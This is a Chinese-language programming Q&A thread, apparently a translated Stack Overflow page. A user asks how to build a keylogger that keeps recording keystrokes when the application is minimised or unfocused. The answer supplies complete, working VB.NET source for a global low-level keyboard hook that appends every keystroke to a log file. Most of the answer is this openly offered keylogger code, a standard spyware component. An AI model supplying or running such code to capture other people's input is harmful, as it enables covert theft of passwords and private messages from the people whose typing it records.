我正在制作一个程序,它使用键盘记录器的功能来确定趋势,问题是我无法制作键盘记录器,我已经完成了大部分工作,但是当表单不在时,我无法获得按键操作焦点...我看到人们提到键盘和消息钩子,但我找不到任何例子或理解任何文件。
Private Sub Form1_KeyPress(sender As Object, e As KeyPressEventArgs) Handles MyBase.KeyPress
Using sw As StreamWriter = File.AppendText(Path) ' Open keylog file for editing
If Asc(e.KeyChar) = 13 Then ' If key pressed is Enter...
sw.Write("|Enter|") ' Append "|Enter|"
ElseIf Asc(e.KeyChar) = 8 Then ' If key pressed is Backspace...
sw.Write("|Backspace|") ' Append "|Backspace|"
Else
sw.Write(e.KeyChar) ' Otherwise append character
End If
End Using
End Sub
正如您所看到的,我记录了按键和所有内容,我只需要在应用程序最小化或失焦时获得按键。
提前致谢。
答案 0 :(得分:2)
这很有效......
Imports System.IO
Public Class Form1
Dim Path As String = "C:\Users\user\Desktop\keys.log" ' Keylog file location
Private WithEvents kbHook As New KeyboardHook
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
If My.Computer.FileSystem.FileExists(Path) = False Then ' If keylog file doesn't exist...
File.CreateText(Path) ' Create keylog file
End If
End Sub
Private Sub kbHook_KeyDown(ByVal Key As Keys) Handles kbHook.KeyDown
Using sw As StreamWriter = File.AppendText(Path) ' Open keylog file for editing
sw.Write(Key.ToString) ' Append character
End Using
End Sub
End Class
我将KeyboardHook类放在一个单独的文件中,以便在我需要修复Form1类中的其他内容时保留它。除非您不需要在程序中添加任何其他内容,否则我会建议您这样做。
Imports System.Runtime.InteropServices
Public Class KeyboardHook
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)>
Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
End Function
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)>
Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
End Function
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)>
Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
End Function
<StructLayout(LayoutKind.Sequential)>
Private Structure KBDLLHOOKSTRUCT
Public vkCode As UInt32
Public scanCode As UInt32
Public flags As KBDLLHOOKSTRUCTFlags
Public time As UInt32
Public dwExtraInfo As UIntPtr
End Structure
<Flags()>
Private Enum KBDLLHOOKSTRUCTFlags As UInt32
LLKHF_EXTENDED = &H1
LLKHF_INJECTED = &H10
LLKHF_ALTDOWN = &H20
LLKHF_UP = &H80
End Enum
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const HC_ACTION As Integer = 0
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
Private HHookID As IntPtr = IntPtr.Zero
Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
If (nCode = HC_ACTION) Then
Dim struct As KBDLLHOOKSTRUCT
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
End Select
End If
Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
End Function
Public Sub New()
HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
If HHookID = IntPtr.Zero Then
Throw New Exception("Could not set keyboard hook")
End If
End Sub
Protected Overrides Sub Finalize()
If Not HHookID = IntPtr.Zero Then
UnhookWindowsHookEx(HHookID)
End If
MyBase.Finalize()
End Sub
End Class